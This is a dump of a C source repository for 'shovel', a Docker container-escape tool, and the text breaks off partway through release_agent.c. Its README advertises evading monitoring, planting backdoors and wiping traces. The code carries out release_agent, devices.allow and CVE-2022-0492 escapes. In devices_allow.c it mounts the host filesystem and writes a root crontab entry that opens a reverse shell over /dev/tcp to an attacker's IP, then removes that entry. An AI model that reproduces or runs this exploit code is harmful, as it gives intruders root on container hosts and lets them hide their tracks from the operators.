Repository: SPuerBRead/shovel Branch: master Commit: 59c0eb73ed4d Files: 34 Total size: 73.5 KB Directory structure: gitextract_3up1uc5p/ ├── .gitignore ├── CMakeLists.txt ├── README.md ├── docker/ │ ├── capability.c │ ├── capability.h │ ├── cgroup.c │ ├── cgroup.h │ ├── dev.c │ ├── dev.h │ ├── path.c │ ├── path.h │ ├── security.c │ └── security.h ├── exploits/ │ ├── cve_2022_0492.c │ ├── cve_2022_0492.h │ ├── devices_allow.c │ ├── devices_allow.h │ ├── release_agent.c │ └── release_agent.h ├── main.c └── util/ ├── custom_struts.c ├── custom_struts.h ├── mount_info.c ├── mount_info.h ├── output.c ├── output.h ├── program_info.c ├── program_info.h ├── random_str.c ├── random_str.h ├── regex_util.c ├── regex_util.h ├── utils.c └── utils.h ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ CMakeLists.txt.user CMakeCache.txt CMakeFiles CMakeScripts Testing Makefile cmake_install.cmake install_manifest.txt compile_commands.json CTestTestfile.cmake _deps cmake-build-debug .DS_Store **/.idea/ # User-specific stuff: .idea/workspace.xml .idea/tasks.xml .idea/dictionaries .idea/vcs.xml .idea/jsLibraryMappings.xml # Sensitive or high-churn files: .idea/dataSources.ids .idea/dataSources.xml .idea/dataSources.local.xml .idea/sqlDataSources.xml .idea/dynamic.xml .idea/uiDesigner.xml # Gradle: .idea/gradle.xml .idea/libraries # Mongo Explorer plugin: .idea/mongoSettings.xml ## File-based project format: *.iws ## Plugin-specific files: # IntelliJ /out/ # mpeltonen/sbt-idea plugin .idea_modules/ # JIRA plugin atlassian-ide-plugin.xml # Crashlytics plugin (for Android Studio and IntelliJ) com_crashlytics_export_strings.xml crashlytics.properties crashlytics-build.properties fabric.properties ### JetBrains Patch ### # Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721 # *.iml # modules.xml # .idea/misc.xml # *.ipr ================================================ FILE: CMakeLists.txt ================================================ cmake_minimum_required(VERSION 2.8.12.2) project(shovel C) set(CMAKE_C_STANDARD 99) add_executable(shovel main.c exploits/release_agent.c exploits/release_agent.h docker/capability.c docker/capability.h util/output.c util/output.h exploits/cve_2022_0492.c exploits/cve_2022_0492.h docker/path.c docker/path.h util/regex_util.c util/regex_util.h util/random_str.c util/random_str.h exploits/devices_allow.c exploits/devices_allow.h util/program_info.c util/program_info.h util/utils.c util/utils.h util/custom_struts.c util/custom_struts.h docker/cgroup.c docker/cgroup.h docker/dev.c docker/dev.h util/mount_info.c util/mount_info.h docker/security.c docker/security.h) ================================================ FILE: README.md ================================================ ## Shovel Docker容器逃逸工具 1、通过mount命令逃逸触发告警? 2、unshare命令发现没有-C参数? 3、机器上没有各种语言的执行环境? 4、逃逸程序太大不好下载? 遇到以上问题那就用下这个程序吧,原理上就是逃逸的那一堆shell脚本,换成系统调用,绕过bash的监控 ![](./img/shovel.gif) ## 功能 * 支持的逃逸方式 * release_agent * device_allow * cve-2022-0492 * 支持的存储驱动 * device_mapper * aufs * btrfs * vfs * zfs * overlayfs * 支持的利用类型 * exec: 在宿主机执行命令 * shell: 获取宿主机shell * reverse: 反弹shell * backdoor: 向宿主机植入后门并运行 * 自动清理攻击痕迹 ## 使用方式 ```text usage: shovel [options ...] Options: Options of program -h, --help show help message -v, --version show program version Options of escape -r, --release-agent escape by release-agent -d, --devices-allow escape by devices-allow -u, --cve-2022-0492 get cap_sys_admin by cve-2022-0492 and return new namespace bash Options of other -p, --container_path=xxx manually specify path of container in host,use this parameter if program can't get it automatically -m, --mode=xxx the mode that needs to be returned after a successful escape { exec | shell | reverse | backdoor } -c, --command=xxx set command in exec mode -I, --ip set ip address in reverse mode -P, --port set port in reverse mode -B, --backdoor_path set backdoor file path -y, --assumeyes automatically answer yes for all questions Mode (-m) type guide exec: run a single command and return the result shell: get host shell in current console reverse: reverse shell to remote listening address backdoor: put a backdoor to the host and execute ``` ## 编译 编译时尽量用低版本glibc,高版本glibc编译到老系统上没办法运行 编译环境如果是Linux 4.6前,没有CLONE_NEWCGROUP常量,或者其他情况编译时出现以下报错 ```text /docker/opt/shovel/exploits/cve_2022_0492.c:30: error: 'CLONE_NEWCGROUP' undeclared (first use in this function) ``` 可以用[no_0492](https://github.com/SPuerBRead/shovel/tree/no_0492) 这个branch的代码,这个版本的代码不包含cve-2022-0492的exp,换掉了一些c99的写法,使其尽可能在老机器上可以编译 ```shell cmake . make ``` ================================================ FILE: docker/capability.c ================================================ // // Created by FlagT on 2022/6/22. // #include "capability.h" #include "../util/output.h" #include #include #include #include #include char const *cap_name[__CAP_BITS] = { /* 0 */ "cap_chown", /* 1 */ "cap_dac_override", /* 2 */ "cap_dac_read_search", /* 3 */ "cap_fowner", /* 4 */ "cap_fsetid", /* 5 */ "cap_kill", /* 6 */ "cap_setgid", /* 7 */ "cap_setuid", /* 8 */ "cap_setpcap", /* 9 */ "cap_linux_immutable", /* 10 */ "cap_net_bind_service", /* 11 */ "cap_net_broadcast", /* 12 */ "cap_net_admin", /* 13 */ "cap_net_raw", /* 14 */ "cap_ipc_lock", /* 15 */ "cap_ipc_owner", /* 16 */ "cap_sys_module", /* 17 */ "cap_sys_rawio", /* 18 */ "cap_sys_chroot", /* 19 */ "cap_sys_ptrace", /* 20 */ "cap_sys_pacct", /* 21 */ "cap_sys_admin", /* 22 */ "cap_sys_boot", /* 23 */ "cap_sys_nice", /* 24 */ "cap_sys_resource", /* 25 */ "cap_sys_time", /* 26 */ "cap_sys_tty_config", /* 27 */ "cap_mknod", /* 28 */ "cap_lease", /* 29 */ "cap_audit_write", /* 30 */ "cap_audit_control", /* 31 */ "cap_setfcap", /* 32 */ "cap_mac_override", /* 33 */ "cap_mac_admin", /* 34 */ "cap_syslog", /* 35 */ "cap_wake_alarm", /* 36 */ "cap_block_suspend", }; void get_current_process_capability(struct __user_cap_header_struct *header, struct __user_cap_data_struct *caps) { syscall(__NR_capget, header, caps); } int check_cap_sys_admin() { printf_wrapper(INFO, "Check if CAP_SYS_ADMIN exists in the current process Capabilities\n"); printf_wrapper(INFO, "Current Process(%d) Capability:\n", getpid()); struct __user_cap_header_struct header = {_LINUX_CAPABILITY_VERSION_3, getpid()}; struct __user_cap_data_struct caps[_LINUX_CAPABILITY_U32S_3] = {}; get_current_process_capability(&header, (struct __user_cap_data_struct *) &caps); printf_wrapper(INFO, "CapEff: 0x%016llx\n", caps->effective); printf_wrapper(INFO, "CapInh: 0x%016llx\n", caps->inheritable); printf_wrapper(INFO, "CapPrm: 0x%016llx\n", caps->permitted); cap_value_t cap; const char *sep = ""; char *effective_capability_str = malloc(512 * sizeof(char)); memset(effective_capability_str, 0x00 ,512); for (cap = 0; (cap < 64) && (caps->effective >> cap); ++cap) { if (caps->effective & (1ULL << cap)) { char *ptr; ptr = (char *) cap_name[cap]; if (ptr != NULL) { strcat(effective_capability_str, sep); strcat(effective_capability_str, ptr); } else { printf_wrapper(WARNING, "Cap to name failed cap: %d\n", cap); } sep = ","; } } printf_wrapper(INFO, "Effective capability: %s\n", effective_capability_str); if (strstr(effective_capability_str, cap_name[21])) { free(effective_capability_str); printf_wrapper(INFO, "Current process has CAP_SYS_ADMIN\n"); return 1; } else { free(effective_capability_str); printf_wrapper(INFO, "Current process don't have CAP_SYS_ADMIN\n"); return 0; } } ================================================ FILE: docker/capability.h ================================================ // // Created by FlagT on 2022/6/22. // #define __CAP_BITS 37 #include #ifndef SHOVEL_CAPABILITY_H #define SHOVEL_CAPABILITY_H #endif //SHOVEL_CAPABILITY_H typedef int cap_value_t; char const *cap_name[__CAP_BITS]; int check_cap_sys_admin(); ================================================ FILE: docker/cgroup.c ================================================ // // Created by FlagT on 2022/7/3. // #include #include "cgroup.h" #include #include #include "../util/utils.h" #include "../util/regex_util.h" int get_cgroup_id(char *cgroup_id) { char *cgroup_path = "/proc/1/cgroup"; char *cgroup_data = (char *) malloc(1024 * 100 * sizeof(char)); memset(cgroup_data, 0x00, 1024 * 100); read_file(cgroup_path, cgroup_data, O_RDONLY); regex_util(cgroup_data, "\\d+?:[a-zA-Z0-9]*?:(/docker/[a-zA-Z0-9]{64}|/kubepods\\.slice/kubepods-burstable\\.slice/kubepods-burstable-pod[a-zA-Z0-9_-]+?\\.slice/docker-[a-zA-Z0-9]{64}\\.scope|/kubepods/burstable/pod[a-zA-Z0-9_-]+?/[a-zA-Z0-9]{64}|/kubepods/pod[a-zA-Z0-9_-]+?/[a-zA-Z0-9]{64})", cgroup_id); } ================================================ FILE: docker/cgroup.h ================================================ // // Created by FlagT on 2022/7/3. // #ifndef SHOVEL_CGROUP_H #define SHOVEL_CGROUP_H #endif //SHOVEL_CGROUP_H int get_cgroup_id(char *); ================================================ FILE: docker/dev.c ================================================ // // Created by FlagT on 2022/7/10. // #include "dev.h" #include "../util/mount_info.h" #include #include #include #include "../util/custom_struts.h" #include "../util/utils.h" int get_host_dev_major_minor() { char *mount_resolv_keyword = "/resolv.conf"; char *mount_hostname_keyword = "/hostname"; char *mount_host_keyword = "/hosts"; char *get_dev_major_minor_path = "/proc/1/mountinfo"; char *mountinfo_buffer = malloc((1024 * 1024) * sizeof(char)); memset(mountinfo_buffer, 0x00, (1024 * 1024)); read_file(get_dev_major_minor_path, mountinfo_buffer, O_RDONLY); char **mountinfo_line = {0x00}; mountinfo_line = str_split(mountinfo_buffer, '\n'); while (*mountinfo_line) { char **mountinfo = {0x00}; mountinfo = str_split(*mountinfo_line, ' '); if (strstr(mountinfo[3], mount_resolv_keyword) || strstr(mountinfo[3], mount_hostname_keyword) || strstr(mountinfo[3], mount_host_keyword)) { char **major_minor = {0x00}; major_minor = str_split(mountinfo[2], ':'); host_dev_attribute.major = strtol(major_minor[0], NULL, 0); host_dev_attribute.minor = strtol(major_minor[1], NULL, 0); host_dev_attribute.fstype = malloc(10 * sizeof(char)); strcpy(host_dev_attribute.fstype, mountinfo[7]); return 0; } else { *mountinfo_line++; } } return -1; } ================================================ FILE: docker/dev.h ================================================ // // Created by FlagT on 2022/7/10. // #ifndef SHOVEL_DEV_H #define SHOVEL_DEV_H #endif //SHOVEL_DEV_H int get_host_dev_major_minor(); ================================================ FILE: docker/path.c ================================================ // // Created by FlagT on 2022/6/22. // #include "path.h" #include #include #include #include #include #include "../util/regex_util.h" #include "../util/output.h" #include "../util/utils.h" #include "../util/mount_info.h" enum STORAGE_DRIVERS { DEVICE_MAPPER = 1, AUFS = 2, BTRFS = 3, VFS = 4, ZFS = 5, OVERLAYFS = 6, UNKNOWN = 7 }; int get_storage_driver_type() { char *proc_mounts_path = "/proc/mounts"; char *mtab_path = "/etc/mtab"; char *vfs_mount_path = "/proc/1/mountinfo"; int length; if (access(proc_mounts_path, F_OK) == 0 && ((length = load_mount_info(proc_mounts_path, mounts_info)) != 0)) { for (int i = 0; i < length; i++) { if (strcmp(mounts_info[i]->mnt_type, "overlay") == 0) { printf_wrapper(INFO, "Storage driver type: overlayfs\n"); return OVERLAYFS; } else if (strstr(mounts_info[i]->mnt_fsname, "/dev/mapper/docker")) { printf_wrapper(INFO, "Storage driver type: devicemapper\n"); return DEVICE_MAPPER; } else if (strcmp(mounts_info[i]->mnt_type, "zfs") == 0) { printf_wrapper(INFO, "Storage driver type: zfs\n"); return ZFS; } else if (strcmp(mounts_info[i]->mnt_type, "aufs") == 0) { printf_wrapper(INFO, "Storage driver type: aufs\n"); return AUFS; } else if (strcmp(mounts_info[i]->mnt_type, "btrfs") == 0) { printf_wrapper(INFO, "Storage driver type: btrfs\n"); return BTRFS; } } } if (access(mtab_path, F_OK) == 0 && ((length = load_mount_info(proc_mounts_path, mounts_info)) != 0)) { for (int i = 0; i < length; i++) { if (strcmp(mounts_info[i]->mnt_type, "overlay") == 0) { printf_wrapper(INFO, "Storage driver type: overlayfs\n"); return OVERLAYFS; } else if (strstr(mounts_info[i]->mnt_fsname, "/dev/mapper/docker")) { printf_wrapper(INFO, "Storage driver type: devicemapper\n"); return DEVICE_MAPPER; } else if (strcmp(mounts_info[i]->mnt_type, "zfs") == 0) { printf_wrapper(INFO, "Storage driver type: zfs\n"); return ZFS; } else if (strcmp(mounts_info[i]->mnt_type, "aufs") == 0) { printf_wrapper(INFO, "Storage driver type: aufs\n"); return AUFS; } else if (strcmp(mounts_info[i]->mnt_type, "btrfs") == 0) { printf_wrapper(INFO, "Storage driver type: btrfs\n"); return BTRFS; } } } if (access(vfs_mount_path, F_OK) == 0 && ((length = load_mount_info(vfs_mount_path, mounts_info)) != 0)) { for (int i = 0; i < length; i++) { if (strstr(mounts_info[i]->mnt_opts, "/var/lib/docker/vfs")) { printf_wrapper(INFO, "Storage driver type: vfs\n"); return VFS; } } } return UNKNOWN; } void get_container_path_in_host(char *container_path_in_host) { switch (get_storage_driver_type()) { case OVERLAYFS: { char *regex_match_result = (char *) malloc(512 * sizeof(char)); for (int i = 0; i < 1024; i++) { if (mounts_info[i] != NULL) { if (strcmp(mounts_info[i]->mnt_type, "overlay") == 0) { regex_util(mounts_info[i]->mnt_opts, ".*?perdir=(.*?),", regex_match_result); if (strcmp(regex_match_result, "") != 0) { strcpy(container_path_in_host, regex_match_result); printf_wrapper(INFO, "Container path in host: %s\n", container_path_in_host); break; } else { continue; } } } } free(regex_match_result); break; } case DEVICE_MAPPER: { char *regex_match_result = (char *) malloc(512 * sizeof(char)); for (int i = 0; i < 1024; i++) { if (mounts_info[i] != NULL) { if (strstr(mounts_info[i]->mnt_fsname, "/dev/mapper/docker")) { regex_util(mounts_info[i]->mnt_fsname, "dev/mapper/docker-[0-9]*:[0-9]*-[0-9]*-(.*)", regex_match_result); if (strcmp(regex_match_result, "") != 0) { strcpy(container_path_in_host, "/var/lib/docker/devicemapper/mnt/"); strcat(container_path_in_host, regex_match_result); strcat(container_path_in_host, "/rootfs"); printf_wrapper(INFO, "Container path in host: %s\n", container_path_in_host); break; } else { continue; } } } } free(regex_match_result); break; } case VFS: { for (int i = 0; i < 1024; i++) { if (mounts_info[i] != NULL) { if (strstr(mounts_info[i]->mnt_opts, "/var/lib/docker/vfs")) { strcpy(container_path_in_host, mounts_info[i]->mnt_opts); printf_wrapper(INFO, "Container path in host: %s\n", container_path_in_host); break; } else { continue; } } } break; } case ZFS: { char *regex_match_result = (char *) malloc(512 * sizeof(char)); for (int i = 0; i < 1024; i++) { if (mounts_info[i] != NULL) { if (strcmp(mounts_info[i]->mnt_type, "zfs") == 0) { regex_util(mounts_info[i]->mnt_fsname, "/([a-z0-9]*$)", regex_match_result); if (strlen(regex_match_result) == 64) { strcpy(container_path_in_host, "/var/lib/docker/zfs/graph/"); strcat(container_path_in_host, regex_match_result); printf_wrapper(INFO, "Container path in host: %s\n", container_path_in_host); break; } else { continue; } } } } free(regex_match_result); break; } case AUFS: { char *regex_match_result = (char *) malloc(512 * sizeof(char)); char *si_id = (char *) malloc(512 * sizeof(char)); char *aufs_read_path = (char *) malloc(512 * sizeof(char)); for (int i = 0; i < 1024; i++) { if (mounts_info[i] != NULL) { if (strcmp(mounts_info[i]->mnt_type, "aufs") == 0) { regex_util(mounts_info[i]->mnt_opts, "si=([a-z0-9]*),", si_id); if (strcmp(si_id, "") != 0) { strcpy(aufs_read_path, "/sys/fs/aufs/si_"); strcat(aufs_read_path, si_id); strcat(aufs_read_path, "/br0"); char *aufs_path_buffer = NULL; if (read_file(aufs_read_path, aufs_path_buffer, O_RDONLY) == -1) { printf_wrapper(ERROR, "Get container path in host failed\n"); } regex_util(aufs_path_buffer, "^(.*?)=", regex_match_result); strcpy(container_path_in_host, regex_match_result); printf_wrapper(INFO, "Container path in host: %s\n", container_path_in_host); break; } else { continue; } } } } free(regex_match_result); free(si_id); free(aufs_read_path); break; } case BTRFS: { char *regex_match_result = (char *) malloc(512 * sizeof(char)); for (int i = 0; i < 1024; i++) { if (mounts_info[i] != NULL) { if (strcmp(mounts_info[i]->mnt_type, "btrfs") == 0) { regex_util(mounts_info[i]->mnt_opts, "subvol=(/btrfs/subvolumes/[a-z0-9]{64})", regex_match_result); if (strcmp(regex_match_result, "") != 0) { strcpy(container_path_in_host, "/var/lib/docker"); strcat(container_path_in_host, regex_match_result); printf_wrapper(INFO, "Container path in host: %s\n", container_path_in_host); break; } else { continue; } } } } free(regex_match_result); break; } } } ================================================ FILE: docker/path.h ================================================ // // Created by FlagT on 2022/6/22. // #ifndef SHOVEL_PATH_H #define SHOVEL_PATH_H #endif //SHOVEL_PATH_H struct mntent *mounts_info[1024]; void get_container_path_in_host(char *); ================================================ FILE: docker/security.c ================================================ // // Created by FlagT on 2022/8/20. // #include "security.h" #include #include #include #include "../util/utils.h" int apparmor_enable_check() { char *apparmor_check_path = "/proc/1/attr/apparmor/current"; char *apparmor_status = (char *) malloc(1024 * 100 * sizeof(char)); memset(apparmor_status, 0x00, 1024 * 100); int ret = read_file(apparmor_check_path, apparmor_status, O_RDONLY); if (ret == -1) { return -1; } if (strstr(apparmor_status, "unconfined")) { return 1; } return 0; } long int seccomp_enable_check() { char *seccomp_check_path = "/proc/1/status"; char *process_status = (char *) malloc(1024 * 100 * sizeof(char)); memset(process_status, 0x00, 1024 * 100); int ret = read_file(seccomp_check_path, process_status, O_RDONLY); if (ret == -1) { return -1; } char **status_line = {0x00}; status_line = str_split(process_status, '\n'); long int status = -1; while (*status_line) { if (strstr(*status_line, "Seccomp:")) { char *seccomp_status = malloc(128 * sizeof(char)); char *ptr; memset(seccomp_status, 0x00, 128); seccomp_status = str_replace(*status_line, "Seccomp:", ""); status = strtol(seccomp_status, &ptr, 10); } *status_line++; } return status; } ================================================ FILE: docker/security.h ================================================ // // Created by FlagT on 2022/8/20. // #ifndef SHOVEL_SECURITY_H #define SHOVEL_SECURITY_H int apparmor_enable_check(); long int seccomp_enable_check(); #endif //SHOVEL_SECURITY_H ================================================ FILE: exploits/cve_2022_0492.c ================================================ // // Created by FlagT on 2022/6/22. // #define _GNU_SOURCE #include "cve_2022_0492.h" #include #include #include "../util/output.h" #include "../docker/capability.h" #include "../util/utils.h" #include #include int check_max_user_namespace() { char *max_user_namespace_path = "/proc/sys/user/max_user_namespaces"; char *max_user_namespace_path_buffer = malloc(64 * sizeof(char)); if (read_file(max_user_namespace_path, max_user_namespace_path_buffer, O_RDONLY) == -1) { printf_wrapper(WARNING, "Get max_user_namespace value failed\n"); } int max_user_namespaces = strtol(max_user_namespace_path_buffer, NULL, 0); free(max_user_namespace_path_buffer); return max_user_namespaces; } int unshare_ns() { int flags = CLONE_NEWUSER | CLONE_NEWCGROUP | CLONE_NEWNS; int ret = unshare(flags); if (ret == -1) { printf_wrapper(ERROR, "Create user namespace failed\n"); return -1; } return 0; } void set_uid() { char *setgroups_path = "/proc/self/setgroups"; char *uid_map_path = "/proc/self/uid_map"; char *gid_map_path = "/proc/self/gid_map"; int setgroups_path_ret = write_file(setgroups_path, "deny", O_WRONLY); int uid_map_path_ret = write_file(uid_map_path, "0 0 1", O_WRONLY); int gid_map_path_ret = write_file(gid_map_path, "0 0 1", O_WRONLY); if (setgroups_path_ret != 0 || uid_map_path_ret != 0 || gid_map_path_ret != 0) { printf_wrapper(ERROR, "Set current user nobody to root failed\n"); } } int cve_2022_0294() { printf_wrapper(INFO, "Check max_user_namespace to see if user namespace creation is allowed\n"); int max_user_namespaces = check_max_user_namespace(); if (max_user_namespaces != 0) { printf_wrapper(INFO, "Number of max_user_namespace is: %d\n", max_user_namespaces); printf_wrapper(INFO, "Try create mount/user/cgroup namespace\n"); if (unshare_ns() == -1) { return 0; } printf_wrapper(INFO, "Set current user nobody to root\n"); set_uid(); int sys_admin = check_cap_sys_admin(); if (sys_admin == 0) { printf_wrapper(INFO, "Attack by CVE-2022-0492 failed\n"); return 0; } else { return 1; } } else { printf_wrapper(ERROR, "Max user namespace is 0, can't create user namespace\n"); return 0; } } ================================================ FILE: exploits/cve_2022_0492.h ================================================ // // Created by FlagT on 2022/6/22. // #ifndef SHOVEL_CVE_2022_0492_H #define SHOVEL_CVE_2022_0492_H #endif //SHOVEL_CVE_2022_0492_H int check_max_user_namespace(); int cve_2022_0294(); ================================================ FILE: exploits/devices_allow.c ================================================ // // Created by FlagT on 2022/6/25. // #include "devices_allow.h" #include "../util/output.h" #include #include "../util/random_str.h" #include "../util/custom_struts.h" #include "../docker/dev.h" #include #include #include #include #include #include #include #include #include "../util/utils.h" int reset_device_allow() { } void device_allow_clear_all() { char *replace_buffer = malloc(1024 * 1024 * sizeof(char)); memset(replace_buffer, 0x00, 1024 * 1024); int recover_ret = 0; if (attack_info.attack_mode == REVERSE) { char *file_buffer = malloc(1024 * 1024 * sizeof(char)); memset(file_buffer, 0x00, 1024 * 1024); read_file(device_allow_attack_info.crontab_path, file_buffer, O_RDONLY); replace_buffer = str_replace(file_buffer, device_allow_attack_info.exp, ""); if (replace_buffer == NULL) { printf_wrapper(ERROR, "Get recover crontab content failed\n"); } recover_ret = write_file(device_allow_attack_info.crontab_path, replace_buffer, O_WRONLY | O_TRUNC); if (recover_ret == -1) { printf_wrapper(ERROR, "Rewrite %s to clear exp failed\n", device_allow_attack_info.crontab_path); } free(file_buffer); } int remove_host_dev_file_ret = remove_file(device_allow_attack_info.host_dev_path); if (remove_host_dev_file_ret == -1) { printf_wrapper(ERROR, "Delete host dev file %s failed\n", device_allow_attack_info.host_dev_path); } int umount_host_filesystem_ret = umount(device_allow_attack_info.host_filesystem_mount_path); if (umount_host_filesystem_ret == -1) { printf_wrapper(ERROR, "Umount host filesystem %s failed\n", device_allow_attack_info.host_filesystem_mount_path); } int umount_cgroup_ret = umount(device_allow_attack_info.mount_path); if (umount_cgroup_ret == -1) { printf_wrapper(ERROR, "Umount cgroup %s failed\n", device_allow_attack_info.mount_path); } if (replace_buffer == NULL || recover_ret == -1 || remove_host_dev_file_ret == -1 || umount_host_filesystem_ret == -1 || umount_cgroup_ret == -1) { printf_wrapper(ERROR, "Failed to clear attack related file\n"); } else { printf_wrapper(INFO, "Already clear attack related files\n"); } free(replace_buffer); } int device_allow_reverse() { char *crontab_path = malloc(1024 * sizeof(char)); memset(crontab_path, 0x00, 1024); strcpy(crontab_path, device_allow_attack_info.host_filesystem_mount_path); strcat(crontab_path, "/etc/crontab"); device_allow_attack_info.crontab_path = malloc(1024 * sizeof(char)); memset(device_allow_attack_info.crontab_path, 0x00, 1024); strcpy(device_allow_attack_info.crontab_path, crontab_path); char *exp = malloc(2048 * sizeof(char)); strcpy(exp, "*/1 * * * * root "); strcat(exp, "bash -c \"bash -i >& /dev/tcp/"); strcat(exp, attack_info.ip); strcat(exp, "/"); strcat(exp, attack_info.port); strcat(exp, " 0>&1\"\n"); device_allow_attack_info.exp = malloc(2048 * sizeof(char)); memset(device_allow_attack_info.exp, 0x00, 2048); strcpy(device_allow_attack_info.exp, exp); if (write_file(crontab_path, exp, O_WRONLY | O_APPEND) == -1) { printf_wrapper(ERROR, "Write %s failed\n", crontab_path); exit(EXIT_SUCCESS); } else { printf_wrapper(INFO, "Write exp to %s\n", crontab_path); } free(crontab_path); free(exp); printf_wrapper(INFO, "If the crontab is executed successfully, it will reverse shell to specified address within 1 minute, the program will wait for a minute and then clean up the crontab\n"); sleep(60); device_allow_clear_all(); return 0; } int device_allow_shell() { printf_wrapper(INFO, "Chroot to %s\n", device_allow_attack_info.host_filesystem_mount_path); int fd = open(".", O_RDONLY); if (chroot(device_allow_attack_info.host_filesystem_mount_path) != 0) { printf_wrapper(ERROR, "Chroot to %s failed\n", device_allow_attack_info.host_filesystem_mount_path); return -1; } printf_wrapper(INFO, "This shell just chroot to host filesystem and run sh not real host shell, you can write/read host file, call 'exit' quit shell\n"); chdir("/"); int pid = fork(); if (!pid) { execvp("/bin/sh", NULL); } printf_wrapper(INFO, "New sh process pid: %d\n", pid); if (waitpid(pid, NULL, 0) <= 0) { printf("wait sh process exit failed\n"); } if (fchdir(fd) < 0) { printf_wrapper(ERROR, "fchdir to container root failed\n"); } close(fd); for (int x = 0; x < 1024; x++) { chdir(".."); } chroot("."); device_allow_clear_all(); return 0; } int escape_by_device_allow() { const int cgroup_path_random_length = 10; char mount_path[128] = "/tmp/tmp."; char *device_allow_path = malloc(512 * sizeof(char)); printf_wrapper(INFO, "Start escape by device_allow\n"); char *cgroup_path_random = malloc(cgroup_path_random_length + 1); rand_string(cgroup_path_random, cgroup_path_random_length); strcat(mount_path, cgroup_path_random); free(cgroup_path_random); struct stat st = {0}; if (stat(mount_path, &st) == -1) { mkdir(mount_path, 0700); } printf_wrapper(INFO, "Cgroup devices controller mount path: %s\n", mount_path); if (mount("devices", mount_path, "cgroup", 0, "devices")) { printf_wrapper(ERROR, "Mount cgroup devices controller to %s failed\n", mount_path); return -1; } device_allow_attack_info.mount_path = malloc(128 * sizeof(char)); memset(device_allow_attack_info.mount_path, 0x00, 128); strcpy(device_allow_attack_info.mount_path, mount_path); strcpy(device_allow_path, mount_path); strcat(device_allow_path, device_allow_attack_info.cgroup_id); strcat(device_allow_path, "/devices.allow"); if (file_exist(device_allow_path) == -1) { printf_wrapper(ERROR, "device_allow file %s not found\n", device_allow_path); return -1; } printf_wrapper(INFO, "Current docker devices.allow file path: %s\n", device_allow_path); device_allow_attack_info.device_allow_path = malloc(512 * sizeof(char)); memset(device_allow_attack_info.device_allow_path, 0x00, 512); strcpy(device_allow_attack_info.device_allow_path, device_allow_path); printf_wrapper(INFO, "Write 'a' to %s\n", device_allow_path); if (write_file(device_allow_path, "a", O_WRONLY) != 0) { printf_wrapper(ERROR, "Write device_allow failed\n"); return -1; } free(device_allow_path); get_host_dev_major_minor(); printf_wrapper(INFO, "Host dev attribute info major: %d minor: %d fstype: %s\n", host_dev_attribute.major, host_dev_attribute.minor, host_dev_attribute.fstype); char *host_dev_random = malloc(7 * sizeof(char)); memset(host_dev_random, 0x00, 7); rand_string(host_dev_random, 6); char *host_dev_path = malloc(20 * sizeof(char)); strcpy(host_dev_path, "/tmp/"); strcat(host_dev_path, host_dev_random); printf_wrapper(INFO, "Create host filesystem block special file\n"); if (mknodat(AT_FDCWD, host_dev_path, S_IFBLK | 0666, makedev(host_dev_attribute.major, host_dev_attribute.minor)) != 0) { printf_wrapper(ERROR, "Create host filesystem block special file failed\n"); return -1; } printf_wrapper(INFO, "Host filesystem block special file path: %s\n", host_dev_path); device_allow_attack_info.host_dev_path = malloc(20 * sizeof(char)); memset(device_allow_attack_info.host_dev_path, 0x00, 20); strcpy(device_allow_attack_info.host_dev_path, host_dev_path); free(host_dev_random); char host_mount_path[128] = "/tmp/tmp."; char *host_dev_path_random = malloc(20 * sizeof(char)); rand_string(host_dev_path_random, 20); strcat(host_mount_path, host_dev_path_random); free(host_dev_path_random); if (stat(host_mount_path, &st) == -1) { mkdir(host_mount_path, 0700); } printf_wrapper(INFO, "Mount host filesystem to docker\n"); if (mount(host_dev_path, host_mount_path, host_dev_attribute.fstype, 0, NULL)) { printf_wrapper(ERROR, "Mount Host filesystem to %s failed\n", host_mount_path); return -1; } printf_wrapper(INFO, "Host filesystem mount path: %s\n", host_mount_path); device_allow_attack_info.host_filesystem_mount_path = (char *) malloc(256 * sizeof(char)); memset(device_allow_attack_info.host_filesystem_mount_path, 0x00, 256); strcpy(device_allow_attack_info.host_filesystem_mount_path, host_mount_path); return 0; } ================================================ FILE: exploits/devices_allow.h ================================================ // // Created by FlagT on 2022/6/25. // #ifndef SHOVEL_DEVICES_ALLOW_H #define SHOVEL_DEVICES_ALLOW_H #endif //SHOVEL_DEVICES_ALLOW_H int escape_by_device_allow(); int device_allow_shell(); int device_allow_reverse(); ================================================ FILE: exploits/release_agent.c ================================================ #define _GNU_SOURCE // // Created by FlagT on 2022/6/22. // #include "release_agent.h" #include #include #include #include #include #include #include #include #include #include "../util/random_str.h" #include "../util/utils.h" #include "../util/output.h" #include "../util/custom_struts.h" #define STACK_SIZE (1024 * 1024) #define WAIT_RELEASE_AGENT_RUN_TIME 1 struct cgroup_procs_clone_args { char *cgroup_procs_path; }; int clear_cgroup_procs(void *args) { char pid[10]; struct cgroup_procs_clone_args *arg = (struct cgroup_procs_clone_args *) args; struct cgroup_procs_clone_args *cgroup_procs_args = (struct cgroup_procs_clone_args *) malloc( sizeof(struct cgroup_procs_clone_args)); memcpy(cgroup_procs_args, arg, sizeof(struct cgroup_procs_clone_args)); cgroup_procs_args->cgroup_procs_path = (char *) malloc((strlen(arg->cgroup_procs_path) + 1) * sizeof(char)); strcpy(cgroup_procs_args->cgroup_procs_path, arg->cgroup_procs_path); sprintf(pid, "%d", getpid()); if (attack_info.attack_mode != SHELL) { printf_wrapper(INFO, "Echo pid: %s to %s and this pid of process will close soon\n", pid, cgroup_procs_args->cgroup_procs_path); } if (write_file(cgroup_procs_args->cgroup_procs_path, pid, O_WRONLY) != 0) { printf_wrapper(ERROR, "Set cgroup_procs failed\n"); } free(cgroup_procs_args->cgroup_procs_path); free(cgroup_procs_args); } void release_agent_clear_all() { int remove_controller_path_ret = 0; int umount_cgroup_ret = 0; int remove_cgroup_mount_path_ret = 0; int remove_exp_path_ret = 0; int remove_output_path_in_container_ret = 0; if (*release_agent_attack_info.controller_path && file_exist(release_agent_attack_info.controller_path) != -1) { remove_controller_path_ret = remove_dir(release_agent_attack_info.controller_path); } if (*release_agent_attack_info.mount_path) { umount_cgroup_ret = umount(release_agent_attack_info.mount_path); } if (*release_agent_attack_info.mount_path && file_exist(release_agent_attack_info.mount_path) != -1) { remove_cgroup_mount_path_ret = remove_dir(release_agent_attack_info.mount_path); } if (attack_info.attack_mode != BACKDOOR && *release_agent_attack_info.exp_path && file_exist(release_agent_attack_info.exp_path) != -1) { remove_exp_path_ret = remove_file(release_agent_attack_info.exp_path); } if (*release_agent_attack_info.output_path_in_container && attack_info.attack_mode != SHELL && attack_info.attack_mode != REVERSE && attack_info.attack_mode 